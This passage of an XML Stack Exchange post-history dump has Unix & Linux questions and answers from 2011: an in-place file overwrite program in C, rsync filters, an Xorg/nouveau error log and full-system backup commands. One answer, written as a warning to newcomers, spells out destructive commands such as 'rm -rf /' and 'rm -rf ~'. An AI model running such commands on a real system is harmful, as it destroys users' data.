bigfile&#xD;&#xA;&#xD;&#xA;I'm mostly posting this for others to comment on before you try it. Perhaps someone else knows of a program that does something similar that is more tested." />
  <row Id="26846" PostHistoryTypeId="25" PostId="11067" RevisionGUID="f4fb901e-164b-48a8-871f-70260f467458" CreationDate="2011-04-11T12:09:05.620" Comment="http://twitter.com/#!/StackUnix/status/57414867900043264" />
  <row Id="26847" PostHistoryTypeId="5" PostId="11074" RevisionGUID="1359f397-1634-4461-915c-8df07a27df00" CreationDate="2011-04-11T12:09:46.540" UserId="1078" Comment="oh noes. one line too many" Text="At the system call level this should be possible. A program can open your target file for writing without truncating it and start writing what it reads from stdin. When reading EOF, the output file can be truncated.&#xD;&#xA;&#xD;&#xA;Since you are filtering lines from the input, the output file write position should always be less than the read position. This means you should not corrupt your input with the new output.&#xD;&#xA;&#xD;&#xA;However, finding a program that does this is the problem. `dd(1)` has the option `conv=notrunc` that does not truncate the output file on open, but it also does not truncate at the end, leaving the original file contents after the grep contents (with a command like `grep pattern bigfile | dd of=bigfile conv=notrunc`)&#xD;&#xA;&#xD;&#xA;Since it is very simple from a system call perspective, I wrote a small program and tested it on a small (1MiB) full loopback filesystem. It did what you wanted, but you really want to test this with some other files first. It's always going to be risky overwriting a file.&#xD;&#xA;&#xD;&#xA;**overwrite.c**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #include &lt;sys/types.h&gt;&#xD;&#xA;    #include &lt;sys/stat.h&gt;&#xD;&#xA;    #include &lt;fcntl.h&gt;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;    #include &lt;errno.h&gt;&#xD;&#xA;    &#xD;&#xA;    int main(int argc, char **argv)&#xD;&#xA;    {&#xD;&#xA;            int outfd;&#xD;&#xA;            char buf[1024];&#xD;&#xA;            int nread;&#xD;&#xA;            off_t file_length;&#xD;&#xA;    &#xD;&#xA;            if (argc != 2) {&#xD;&#xA;                    fprintf(stderr, &quot;usage: %s &lt;output_file&gt;&quot;, argv[0]);&#xD;&#xA;                    exit(1);&#xD;&#xA;            }&#xD;&#xA;            if ((outfd = open(argv[1], O_WRONLY)) == -1) {&#xD;&#xA;                    perror(&quot;Could not open output file&quot;);&#xD;&#xA;                    exit(2);&#xD;&#xA;            }&#xD;&#xA;            while ((nread = read(0, buf, sizeof(buf))) &gt; 0) {&#xD;&#xA;                    if (write(outfd, buf, nread) == -1) {&#xD;&#xA;                            perror(&quot;Could not write to output file&quot;);&#xD;&#xA;                            exit(4);&#xD;&#xA;                    }&#xD;&#xA;            }&#xD;&#xA;            if (nread == -1) {&#xD;&#xA;                    perror(&quot;Could not read from stdin&quot;);&#xD;&#xA;                    exit(3);&#xD;&#xA;            }&#xD;&#xA;            if ((file_length = lseek(outfd, 0, SEEK_CUR)) == (off_t)-1) {&#xD;&#xA;                    perror(&quot;Could not get file position&quot;);&#xD;&#xA;                    exit(5);&#xD;&#xA;            }&#xD;&#xA;            if (ftruncate(outfd, file_length) == -1) {&#xD;&#xA;                    perror(&quot;Could not truncate file&quot;);&#xD;&#xA;                    exit(6);&#xD;&#xA;            }&#xD;&#xA;            close(outfd);&#xD;&#xA;            exit(0);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You would use it as:&#xD;&#xA;&#xD;&#xA;    grep pattern bigfile | overwrite bigfile&#xD;&#xA;&#xD;&#xA;I'm mostly posting this for others to comment on before you try it. Perhaps someone else knows of a program that does something similar that is more tested." />
  <row Id="26848" PostHistoryTypeId="5" PostId="2503" RevisionGUID="8309491c-727b-4671-bfe0-504f30b54a62" CreationDate="2011-04-11T12:21:41.680" UserId="885" Comment="fixed typo that reversed the meaning of an example (thanks fred.bear)" Text="Rsync's filter rules can seem daunting when you read the manual, but there are a few simple principles that suffice in many cases:&#xD;&#xA;&#xD;&#xA;* Inclusions and exclusions:&#xD;&#xA; * Excluding files by name or by location is easy: `--exclude=*~`, `--exclude=/some/relative/location`.&#xD;&#xA; * If you only want to match a few files or locations, include them, *include every directory leading to them* (for example with `--include=*/`), then exclude the rest with `--exclude='*'`. This is because:&#xD;&#xA; * If you exclude a directory, this excludes everything below it.&#xD;&#xA; * If you include a directory, this doesn't automatically include its contents. In recent versions, `--include='directory/***'` will do that.&#xD;&#xA; * For each file, the first matching rule applies (and anything never matched is included).&#xD;&#xA;&#xD;&#xA;* Patterns:&#xD;&#xA; * If a pattern doesn't contain a `/`, it applies to the file name sans directory.&#xD;&#xA; * If a pattern ends with `/`, it applies to directories only.&#xD;&#xA; * If a pattern starts with `/`, it applies to the whole path from the directory that was passed as an argument to `rsync`.&#xD;&#xA; * `*` any substring of a single directory component (i.e. never matches `/`); `**` matches any path substring.&#xD;&#xA;&#xD;&#xA;* If a source argument ends with a `/`, its contents are copied (`rsync -r a/ b` creates `b/foo` for every `a/foo`). Otherwise the directory itself is copied (`rsync -r a b` creates `b/a`).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Thus here we need to include `*.pdf`, include directories containing them, and exclude everything else.&#xD;&#xA;&#xD;&#xA;    rsync -a --include='*.pdf' --include='*/' --exclude='*' ~/LaTeX/ ~/Output/&#xD;&#xA;&#xD;&#xA;Note that this copies all directories, even the ones that contain no matching file or subdirectory containing one. This can be avoided with the `--prune-empty-dirs` option (it's not a universal solution since you then can't copy a directory even by matching it explicitly, but that's a rare requirement).&#xD;&#xA;&#xD;&#xA;    rsync -am --include='*.pdf' --include='*/' --exclude='*' ~/LaTeX/ ~/Output/&#xD;&#xA;" />
  <row Id="26849" PostHistoryTypeId="2" PostId="11075" RevisionGUID="139b6c47-bad9-46e7-8c8f-2d94ec2cb10e" CreationDate="2011-04-11T12:31:53.167" UserId="6403" Text="I have a Ubuntu virtual machine on a 4GB USB memory stick with enough space for a copy of VMware player, so I can have a full Linux/X/Eclipse development machine any time I need one.&#xD;&#xA;&#xD;&#xA;To create it, I just downloaded a standard Ubuntu VM 'appliance' with most of the the right components pre-installed, added a few tweaks and off I went." />
  <row Id="26850" PostHistoryTypeId="2" PostId="11076" RevisionGUID="64f5fd74-0568-4a8c-a3ff-2503fb983e02" CreationDate="2011-04-11T12:34:26.573" UserId="6380" Text="What I would recommend is that you don't stick to any IDE's per say. Let your code stay as flat files in the filesystem, and use independent tools (Emacs, the GCC toolchain, Ctags, etc) you have to for implementing the operations you have to implement. That will keep your codebase IDE-independant and free of clutter that surrounds it (like .project files, etc)." />
  <row Id="26851" PostHistoryTypeId="2" PostId="11077" RevisionGUID="4fdc067a-d009-4d7d-a6e4-22d07a8cdaf6" CreationDate="2011-04-11T12:44:04.577" UserId="6493" Text="use xubuntu&#xD;&#xA;&#xD;&#xA;its powerful and yet light&#xD;&#xA;&#xD;&#xA;use this &lt;a href=&quot;http://cdimage.ubuntu.com/xubuntu/releases/10.10/release/&quot;&gt;download link&lt;/a&gt;" />
  <row Id="26852" PostHistoryTypeId="2" PostId="11078" RevisionGUID="7d9fb9b7-9f52-4ada-b823-4ef40e8eeac5" CreationDate="2011-04-11T13:03:07.523" UserId="4776" Text="Note that it's possible to have multiple hard-links to the same file, and removing one link does not cause the file to be deleted. Although this is unlikely to apply on /tmp." />
  <row Id="26853" PostHistoryTypeId="2" PostId="11079" RevisionGUID="f681a826-f5d0-4234-9734-7519fe1f7fc8" CreationDate="2011-04-11T13:08:29.687" UserId="4776" Text="Various routers and home electronics devices run linux and can be reflashed, the WRT54G wireless router is a popular example of this with the OpenWRT distro.&#xD;&#xA;&#xD;&#xA;The SheevaPlug is another example of a micro-linux system, although I think it's lacking in A/D inputs." />
  <row Id="26855" PostHistoryTypeId="2" PostId="11081" RevisionGUID="320e2e18-ff43-4e80-ab5b-6ad5458fc38a" CreationDate="2011-04-11T13:23:42.367" UserId="872" Text="I would like to highlight today's date in the output of the `cal` command. What is the best way?&#xD;&#xA;&#xD;&#xA;This is what I have so far:&#xD;&#xA;&#xD;&#xA;    cal -m | grep -C6 --color &quot;$(date +%e)&quot;&#xD;&#xA;&#xD;&#xA;but it doesn't work for all cases e.g, when the date has a single digit. I also want the highlighting to work when I display the calendar for a year." />
  <row Id="26856" PostHistoryTypeId="1" PostId="11081" RevisionGUID="320e2e18-ff43-4e80-ab5b-6ad5458fc38a" CreationDate="2011-04-11T13:23:42.367" UserId="872" Text="Highlight the current date in cal" />
  <row Id="26857" PostHistoryTypeId="3" PostId="11081" RevisionGUID="320e2e18-ff43-4e80-ab5b-6ad5458fc38a" CreationDate="2011-04-11T13:23:42.367" UserId="872" Text="édateàéhighlightingàécalà" />
  <row Id="26858" PostHistoryTypeId="2" PostId="11082" RevisionGUID="0c6d8486-8ada-4d38-9b0b-e8149c1de1f3" CreationDate="2011-04-11T13:36:16.743" UserId="173" Text="On my system (openSUSE 11.4, util-linux-2.19), the current date in output form cal is automatically highlighted (reverse colors) if the output goes to terminal. As per the manpage, this seems to be the default. If it does not work on your system, it might be a bug." />
  <row Id="26859" PostHistoryTypeId="4" PostId="11048" RevisionGUID="7defb86a-cda0-4bc2-adec-19fb2a515b70" CreationDate="2011-04-11T13:44:49.680" UserId="3447" Comment="Undescriptive title." Text="about UFS allocation on FreeBSD" />
  <row Id="26860" PostHistoryTypeId="24" PostId="11048" RevisionGUID="7defb86a-cda0-4bc2-adec-19fb2a515b70" CreationDate="2011-04-11T13:44:49.680" Comment="Proposed by 3447 approved by 73 edit id of 260" />
  <row Id="26861" PostHistoryTypeId="2" PostId="11083" RevisionGUID="279d45ff-4f04-4902-b0f3-a864f53aa05a" CreationDate="2011-04-11T13:47:15.397" UserId="173" Text="Rsync upstream provides support for SLP (Service location protocol). It is not enabled in vanilla rsync sources, but you can find the SLP support in rsync-patches tarball at rsync homepage (slp.diff). E.g. SUSE rsync package is built with this patch, dunno about other distributions.&#xD;&#xA;&#xD;&#xA;I'm not sure this is what you are looking for nor do I have any experience with SLP, though." />
  <row Id="26863" PostHistoryTypeId="5" PostId="11057" RevisionGUID="68e3768c-e8dc-475f-8c2e-a2248f5666a2" CreationDate="2011-04-11T13:49:16.837" UserId="73" Comment="deleted 7 characters in body; edited tags; edited title" Text="I have a spare machine with an 80GB HDD and 512 MB RAM. I want to try a Linux distro that's very small (and free too). What should I try?" />
  <row Id="26864" PostHistoryTypeId="4" PostId="11057" RevisionGUID="68e3768c-e8dc-475f-8c2e-a2248f5666a2" CreationDate="2011-04-11T13:49:16.837" UserId="73" Comment="deleted 7 characters in body; edited tags; edited title" Text="What is a free, small Unix/Linux OS?" />
  <row Id="26865" PostHistoryTypeId="6" PostId="11057" RevisionGUID="68e3768c-e8dc-475f-8c2e-a2248f5666a2" CreationDate="2011-04-11T13:49:16.837" UserId="73" Comment="deleted 7 characters in body; edited tags; edited title" Text="élinuxàésmallödistributionà" />
  <row Id="26866" PostHistoryTypeId="2" PostId="11084" RevisionGUID="880f189d-1b50-4746-9f19-e17cd6da60d7" CreationDate="2011-04-11T14:05:00.490" UserId="6498" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have a question i've been desperately wanting to ask the Unix community with regard to multiple monitor setup.&#xD;&#xA;&#xD;&#xA;I'm currently primarily a Windows user, and i've been running Ubuntu in dual boot to get a feel for it, but the one thing i find lacking, that will (i feel) force me to choose Windows over any Unix system for general use is the seeming lack of adequate support for multiple taskbars(or Panels as they're referred to in Ubuntu) with multiple screens. Please someone prove me wrong...&#xD;&#xA;&#xD;&#xA;I've googled, i've searched here, i've read every old forum post i could find, and found information numerous times that suggest i should be able to move panels from one screen to another. Now, this might sound silly, but they won't move to my secondary screen, i can add, remove and move around panels on the main screen, but they'll never drag to the secondary screen. Even if i could drag panels across screen correctly, this doesn't necessarily solve my problem anyway, read on..&#xD;&#xA;&#xD;&#xA;On Windows i use Ultramon, i get two displays, and a secondary taskbar that shows windows/tasks specific to that second screen, i'm looking for something similar, or as close to it on Unix, supporting Ubuntu would be preferable but i could always switch to something else(my important stuff is all in Windows right now).&#xD;&#xA;&#xD;&#xA;So the big question, is there a Unix application available(free or not) that will provide multiple monitor panels/taskbars? Or alternatively, is there a way to hack in similar functionality?" />
  <row Id="26867" PostHistoryTypeId="1" PostId="11084" RevisionGUID="880f189d-1b50-4746-9f19-e17cd6da60d7" CreationDate="2011-04-11T14:05:00.490" UserId="6498" Text="Dual monitors and panels" />
  <row Id="26868" PostHistoryTypeId="3" PostId="11084" RevisionGUID="880f189d-1b50-4746-9f19-e17cd6da60d7" CreationDate="2011-04-11T14:05:00.490" UserId="6498" Text="éubuntuàéwindowsàémultiömonitorà" />
  <row Id="26869" PostHistoryTypeId="2" PostId="11085" RevisionGUID="581881fa-31f2-4cd9-abb3-cd8ff5192ff8" CreationDate="2011-04-11T14:19:42.277" UserId="3413" Text="I'm having problems setting up X.org on Gentoo.&#xD;&#xA;&#xD;&#xA;At the moment I have kernel 2.6.37-gentoo-r4 installed and have built X against this kernel. I have nouveau  drivers installed and they seem to be working correctly, from what I can see in terminal. I have nVIdia GeForce 9500M GS and it should be supported by the driver since it uses the NV84 (G84) core.&#xD;&#xA;&#xD;&#xA;When I try to startx, this is what I get:&#xD;&#xA;&#xD;&#xA;    ZVEZDA ~ # startx&#xD;&#xA;    hostname: Unknown host&#xD;&#xA;    xauth:  file /root/.serverauth.4316 does not exist&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    X.Org X Server 1.9.4&#xD;&#xA;    Release Date: 2011-02-04&#xD;&#xA;    X Protocol Version 11, Revision 0&#xD;&#xA;    Build Operating System: Linux 2.6.37-gentoo-r4 x86_64 Gentoo&#xD;&#xA;    Current Operating System: Linux ZVEZDA 2.6.37-gentoo-r4 #2 SMP PREEMPT Mon Apr 11 14:00:26 CEST 2011 x86_64&#xD;&#xA;    Kernel command line: root=/dev/sda3 nouveau.modeset=1&#xD;&#xA;    Build Date: 11 April 2011  02:02:40PM&#xD;&#xA;    &#xD;&#xA;    Current version of pixman: 0.20.2&#xD;&#xA;            Before reporting problems, check http://wiki.x.org&#xD;&#xA;            to make sure that you have the latest version.&#xD;&#xA;    Markers: (--) probed, (**) from config file, (==) default setting,&#xD;&#xA;            (++) from command line, (!!) notice, (II) informational,&#xD;&#xA;            (WW) warning, (EE) error, (NI) not implemented, (??) unknown.&#xD;&#xA;    (==) Log file: &quot;/var/log/Xorg.0.log&quot;, Time: Mon Apr 11 14:13:09 2011&#xD;&#xA;    (==) Using system config directory &quot;/usr/share/X11/xorg.conf.d&quot;&#xD;&#xA;    (EE) Failed to load module &quot;vesa&quot; (module does not exist, 0)&#xD;&#xA;    (EE) Failed to load module &quot;fbdev&quot; (module does not exist, 0)&#xD;&#xA;    resize called 1920 1200&#xD;&#xA;    (EE) Logitech USB Receiver: failed to initialize for relative axes.&#xD;&#xA;    (EE) SynPS/2 Synaptics TouchPad no synaptics event device found&#xD;&#xA;    (EE) Query no Synaptics: 6003C8&#xD;&#xA;    (EE) SynPS/2 Synaptics TouchPad Unable to query/initialize Synaptics hardware.&#xD;&#xA;    (EE) PreInit failed for input device &quot;SynPS/2 Synaptics TouchPad&quot;&#xD;&#xA;    which: no keychain in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/x86_64-pc-linux-gnu/gcc-bin/4.5.2)&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 61: xterm: command not found&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 63: exec: xterm: not found&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 59: twm: command not found&#xD;&#xA;    xinit: connection to X server lost&#xD;&#xA;    &#xD;&#xA;    waiting for X server to shut down&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I try to configure Xorg, I get:&#xD;&#xA;&#xD;&#xA;    ZVEZDA Xorg # Xorg -configure&#xD;&#xA;    &#xD;&#xA;    X.Org X Server 1.9.4&#xD;&#xA;    Release Date: 2011-02-04&#xD;&#xA;    X Protocol Version 11, Revision 0&#xD;&#xA;    Build Operating System: Linux 2.6.36-gentoo-r5 x86_64 Gentoo&#xD;&#xA;    Current Operating System: Linux ZVEZDA 2.6.37-gentoo-r4 #1 SMP PREEMPT Mon Apr 11 13:37:39 CEST 2011 x86_64&#xD;&#xA;    Kernel command line: root=/dev/sda3 nouveau.modeset=1&#xD;&#xA;    Build Date: 18 March 2011  09:54:54PM&#xD;&#xA;    &#xD;&#xA;    Current version of pixman: 0.20.2&#xD;&#xA;            Before reporting problems, check http://wiki.x.org&#xD;&#xA;            to make sure that you have the latest version.&#xD;&#xA;    Markers: (--) probed, (**) from config file, (==) default setting,&#xD;&#xA;            (++) from command line, (!!) notice, (II) informational,&#xD;&#xA;            (WW) warning, (EE) error, (NI) not implemented, (??) unknown.&#xD;&#xA;    (==) Log file: &quot;/var/log/Xorg.0.log&quot;, Time: Mon Apr 11 14:04:54 2011&#xD;&#xA;    List of video drivers:&#xD;&#xA;            nouveau&#xD;&#xA;    (++) Using config file: &quot;/root/xorg.conf.new&quot;&#xD;&#xA;    (==) Using system config directory &quot;/usr/share/X11/xorg.conf.d&quot;&#xD;&#xA;    (EE) [drm] No DRICreatePCIBusID symbol&#xD;&#xA;    Number of created screens does not match number of detected devices.&#xD;&#xA;      Configuration failed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The log says:&#xD;&#xA;&#xD;&#xA;    [    47.459] &#xD;&#xA;    X.Org X Server 1.9.4&#xD;&#xA;    Release Date: 2011-02-04&#xD;&#xA;    [    47.461] X Protocol Version 11, Revision 0&#xD;&#xA;    [    47.461] Build Operating System: Linux 2.6.37-gentoo-r4 x86_64 Gentoo&#xD;&#xA;    [    47.462] Current Operating System: Linux ZVEZDA 2.6.37-gentoo-r4 #2 SMP PREEMPT Mon Apr 11 14:00:26 CEST 2011 x86_64&#xD;&#xA;    [    47.463] Kernel command line: root=/dev/sda3 nouveau.modeset=1&#xD;&#xA;    [    47.464] Build Date: 11 April 2011  02:02:40PM&#xD;&#xA;    [    47.465]  &#xD;&#xA;    [    47.465] Current version of pixman: 0.20.2&#xD;&#xA;    [    47.466] 	Before reporting problems, check http://wiki.x.org&#xD;&#xA;    	to make sure that you have the latest version.&#xD;&#xA;    [    47.468] Markers: (--) probed, (**) from config file, (==) default setting,&#xD;&#xA;    	(++) from command line, (!!) notice, (II) informational,&#xD;&#xA;    	(WW) warning, (EE) error, (NI) not implemented, (??) unknown.&#xD;&#xA;    [    47.470] (==) Log file: &quot;/var/log/Xorg.0.log&quot;, Time: Mon Apr 11 15:58:36 2011&#xD;&#xA;    [    47.471] (II) Loader magic: 0x7d5140&#xD;&#xA;    [    47.471] (II) Module ABI versions:&#xD;&#xA;    [    47.471] 	X.Org ANSI C Emulation: 0.4&#xD;&#xA;    [    47.471] 	X.Org Video Driver: 8.0&#xD;&#xA;    [    47.471] 	X.Org XInput driver : 11.0&#xD;&#xA;    [    47.471] 	X.Org Server Extension : 4.0&#xD;&#xA;    [    47.472] (--) PCI:*(0:1:0:0) 10de:0405:1025:011e rev 161, Mem @ 0xd2000000/16777216, 0xc0000000/268435456, 0xd0000000/33554432, I/O @ 0x00005000/128&#xD;&#xA;    [    47.473] List of video drivers:&#xD;&#xA;    [    47.473] 	nouveau&#xD;&#xA;    [    47.474] (II) LoadModule: &quot;nouveau&quot;&#xD;&#xA;    [    47.474] (II) Loading /usr/lib64/xorg/modules/drivers/nouveau_drv.so&#xD;&#xA;    [    47.474] (II) Module nouveau: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;    [    47.474] 	compiled for 1.9.4, module version = 0.0.16&#xD;&#xA;    [    47.474] 	Module class: X.Org Video Driver&#xD;&#xA;    [    47.474] 	ABI class: X.Org Video Driver, version 8.0&#xD;&#xA;    [    47.475] (II) NOUVEAU driver &#xD;&#xA;    [    47.475] (II) NOUVEAU driver for NVIDIA chipset families :&#xD;&#xA;    [    47.475] 	RIVA TNT    (NV04)&#xD;&#xA;    [    47.475] 	RIVA TNT2   (NV05)&#xD;&#xA;    [    47.475] 	GeForce 256 (NV10)&#xD;&#xA;    [    47.475] 	GeForce 2   (NV11, NV15)&#xD;&#xA;    [    47.475] 	GeForce 4MX (NV17, NV18)&#xD;&#xA;    [    47.475] 	GeForce 3   (NV20)&#xD;&#xA;    [    47.475] 	GeForce 4Ti (NV25, NV28)&#xD;&#xA;    [    47.475] 	GeForce FX  (NV3x)&#xD;&#xA;    [    47.475] 	GeForce 6   (NV4x)&#xD;&#xA;    [    47.475] 	GeForce 7   (G7x)&#xD;&#xA;    [    47.475] 	GeForce 8   (G8x)&#xD;&#xA;    [    47.491] (++) Using config file: &quot;/root/xorg.conf.new&quot;&#xD;&#xA;    [    47.491] (==) Using system config directory &quot;/usr/share/X11/xorg.conf.d&quot;&#xD;&#xA;    [    47.492] (==) ServerLayout &quot;X.org Configured&quot;&#xD;&#xA;    [    47.492] (**) |--&gt;Screen &quot;Screen0&quot; (0)&#xD;&#xA;    [    47.492] (**) |   |--&gt;Monitor &quot;Monitor0&quot;&#xD;&#xA;    [    47.492] (**) |   |--&gt;Device &quot;Card0&quot;&#xD;&#xA;    [    47.492] (**) |--&gt;Input Device &quot;Mouse0&quot;&#xD;&#xA;    [    47.492] (**) |--&gt;Input Device &quot;Keyboard0&quot;&#xD;&#xA;    [    47.492] (==) Automatically adding devices&#xD;&#xA;    [    47.493] (==) Automatically enabling devices&#xD;&#xA;    [    47.493] (**) FontPath set to:&#xD;&#xA;    	/usr/share/fonts/misc/,&#xD;&#xA;    	/usr/share/fonts/TTF/,&#xD;&#xA;    	/usr/share/fonts/OTF/,&#xD;&#xA;    	/usr/share/fonts/Type1/,&#xD;&#xA;    	/usr/share/fonts/100dpi/,&#xD;&#xA;    	/usr/share/fonts/75dpi/,&#xD;&#xA;    	/usr/share/fonts/misc/,&#xD;&#xA;    	/usr/share/fonts/TTF/,&#xD;&#xA;    	/usr/share/fonts/OTF/,&#xD;&#xA;    	/usr/share/fonts/Type1/,&#xD;&#xA;    	/usr/share/fonts/100dpi/,&#xD;&#xA;    	/usr/share/fonts/75dpi/&#xD;&#xA;    [    47.493] (**) ModulePath set to &quot;/usr/lib64/xorg/modules&quot;&#xD;&#xA;    [    47.493] (WW) AllowEmptyInput is on, devices using drivers 'kbd', 'mouse' or 'vmmouse' will be disabled.&#xD;&#xA;    [    47.493] (WW) Disabling Mouse0&#xD;&#xA;    [    47.493] (WW) Disabling Keyboard0&#xD;&#xA;    [    47.493] (EE) [drm] No DRICreatePCIBusID symbol&#xD;&#xA;    [    47.493] Number of created screens does not match number of detected devices.&#xD;&#xA;      Configuration failed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There are some interesting lines in those files, for example this:&#xD;&#xA;&#xD;&#xA;        [    47.475] (II) NOUVEAU driver for NVIDIA chipset families :&#xD;&#xA;        [    47.475] 	RIVA TNT    (NV04)&#xD;&#xA;        [    47.475] 	RIVA TNT2   (NV05)&#xD;&#xA;        [    47.475] 	GeForce 256 (NV10)&#xD;&#xA;        [    47.475] 	GeForce 2   (NV11, NV15)&#xD;&#xA;        [    47.475] 	GeForce 4MX (NV17, NV18)&#xD;&#xA;        [    47.475] 	GeForce 3   (NV20)&#xD;&#xA;        [    47.475] 	GeForce 4Ti (NV25, NV28)&#xD;&#xA;        [    47.475] 	GeForce FX  (NV3x)&#xD;&#xA;        [    47.475] 	GeForce 6   (NV4x)&#xD;&#xA;        [    47.475] 	GeForce 7   (G7x)&#xD;&#xA;        [    47.475] 	GeForce 8   (G8x)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;        [    47.493] (EE) [drm] No DRICreatePCIBusID symbol&#xD;&#xA;        [    47.493] Number of created screens does not match number of detected devices.&#xD;&#xA;          Configuration failed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So what am I missing?&#xD;&#xA;" />
  <row Id="26870" PostHistoryTypeId="1" PostId="11085" RevisionGUID="581881fa-31f2-4cd9-abb3-cd8ff5192ff8" CreationDate="2011-04-11T14:19:42.277" UserId="3413" Text="Xorg -configure doesn't work with nouveau drivers" />
  <row Id="26871" PostHistoryTypeId="3" PostId="11085" RevisionGUID="581881fa-31f2-4cd9-abb3-cd8ff5192ff8" CreationDate="2011-04-11T14:19:42.277" UserId="3413" Text="éxorgàédriversàékernelömodulesàénvidiaàékernelödriversà" />
  <row Id="26872" PostHistoryTypeId="2" PostId="11086" RevisionGUID="f57778cc-dd16-40df-88e5-b1ae213dc27a" CreationDate="2011-04-11T14:29:52.663" UserId="5666" Text="As already noted, there are a lot of options and which one is the best depends on your requirements.&#xD;&#xA;&#xD;&#xA;Since your systems is on RAID1, you can simply replace one disk and let your mirror rebuild itself. The removed disk can be used as a backup copy.&#xD;&#xA;&#xD;&#xA;In the past, for full system backups, I have used [Ghost4Linux (aka G4L)][1] and [Mondo/Mindi][2]. The former can save a partition image locally or remotely and the later can create bootable restore (+rescue) CDs or DVDs. Both have a ncurses gui, no need for command line usage.&#xD;&#xA;&#xD;&#xA;But many times, I just copy the whole system. I mostly use rsync but here are some options that I think it's what you're looking for.&#xD;&#xA;&#xD;&#xA;Let's assume you have two partitions, `/` and `/var` and you want a complete backup. All commands require root privileges.&#xD;&#xA;&#xD;&#xA;    mkdir /mnt/orig&#xD;&#xA;    mount / /mnt/orig -o bind&#xD;&#xA;    mount /var /mnt/orig/var -o bind&#xD;&#xA;&#xD;&#xA;This will create a new mount point for rootfs that you can now copy without worrying for other mounted filesystems like `/proc` or `/sys` or network shares.&#xD;&#xA;&#xD;&#xA;Let's assume you have a second disk formatted with an appropriate filesystem and mounted under `/mnt/backup` (or an NFS on the same mountpoint). It is advised that some services should stop running, for example the mysql service or mail server, to ensure integrity of the replicated data.&#xD;&#xA;&#xD;&#xA;Each of the following commands should suffice.&#xD;&#xA;&#xD;&#xA;    cp -a /mnt/orig/* /mnt/backup/&#xD;&#xA;    rsync -a /mnt/orig/ /mnt/backup/&#xD;&#xA;    tar -C /mnt/orig -cf - ./ | tar -C /mnt/backup -xpf -&#xD;&#xA;&#xD;&#xA;The last one is kind of overkill though. `tar` and `rsync` provide a `--exclude` parameter for skipping files based on pattern matching, e.g. `--exclude=\*.log --exclude=var/tmp`. The above commands do not use compression and you will have an exact replica of your system. You can also install grub and make the backup disk bootable.&#xD;&#xA;&#xD;&#xA;If you have limited space on your backup device or a not compatible filesystem (NTFS) or it is a CIFS mounted share, you can create a compressed tar archive.&#xD;&#xA;&#xD;&#xA;    tar -C /mnt/orig -zcf /mnt/backup/mybackup_$(date -I).tar.gz ./&#xD;&#xA;&#xD;&#xA;or create a squashfs image which you can later loop mount and browse its contents like a normal filesystem.&#xD;&#xA;&#xD;&#xA;    mksquashfs /mnt/orig/ /mnt/backup/mybackup.squashfs&#xD;&#xA;    mkdir /mnt/squash&#xD;&#xA;    mount /mnt/backup/mybackup.squashfs /mnt/squash -o loop&#xD;&#xA;&#xD;&#xA;Also, getting a remote backup with `ssh` and `tar` or `rsync`. `rsync` requires root access to the remote server in order to preserve ownerships, permissions, device files etc. `--numeric-ids` is necessary for not mixing ownerships with the remote system's users.&#xD;&#xA;&#xD;&#xA;    tar -C /mnt/orig -zcf - ./ | ssh user@server 'cat -&gt; mybackup_$(date -I).tgz'&#xD;&#xA;    rsync -aP -e ssh --numeric-ids /mnt/orig/ root@server:/path/to/backup/&#xD;&#xA;&#xD;&#xA;In most cases, a full restore will require booting with another system, preferably a Live CD, then creating/rearranging your partition scheme, coping/extracting your data back and at the installing the boot loader again.&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/g4l/&#xD;&#xA;  [2]: http://www.mondorescue.org/&#xD;&#xA;" />
  <row Id="26873" PostHistoryTypeId="2" PostId="11087" RevisionGUID="623ec8c2-b973-465b-a9ca-5b988c2f1a30" CreationDate="2011-04-11T14:49:51.207" UserId="2333" Text="I'm currently running Debian 6 with the Xfce desktop on just such a machine right now. It works very nicely." />
  <row Id="26874" PostHistoryTypeId="2" PostId="11088" RevisionGUID="cdf0c634-9b7d-4339-80b1-49a8a1d232a0" CreationDate="2011-04-11T14:53:01.827" UserId="1594" Text="I just chowned -R my /usr folder, which totally corrupted my computer (not sure how, but I lost sudo power eventually). This seems like a horrible newb mistake.&#xD;&#xA;&#xD;&#xA;Are there other ones I should avoid?" />
  <row Id="26875" PostHistoryTypeId="1" PostId="11088" RevisionGUID="cdf0c634-9b7d-4339-80b1-49a8a1d232a0" CreationDate="2011-04-11T14:53:01.827" UserId="1594" Text="What horrible mistakes should I avoid as a newb?" />
  <row Id="26876" PostHistoryTypeId="3" PostId="11088" RevisionGUID="cdf0c634-9b7d-4339-80b1-49a8a1d232a0" CreationDate="2011-04-11T14:53:01.827" UserId="1594" Text="énewbieà" />
  <row Id="26877" PostHistoryTypeId="2" PostId="11089" RevisionGUID="7c4b66bd-84af-4a00-8ab2-6bc9155884cf" CreationDate="2011-04-11T14:58:32.057" UserId="2270" Text="`rm -rf ~` and especially `rm -rf /`.&#xD;&#xA;&#xD;&#xA;The `rm` command is the delete or remove command. The `-r` flag tells `rm` to delete recursively and the `-f` flag tells it to never prompt.&#xD;&#xA;&#xD;&#xA;Also there are a few typos you should watch out. This one has already bitten me. I wanted to delete all `*.swp` files so I ran `rm * .swp`. Can you spot what's wrong with it?" />
  <row Id="26878" PostHistoryTypeId="2" PostId="11090" RevisionGUID="e7b6dcdb-610f-44f0-8940-436f7c64c4d1" CreationDate="2011-04-11T15:03:32.410" UserId="1135" Text="Login as root, you should always use sudo if you want to run something as root. And if you for some reason login as root you should be really careful." />
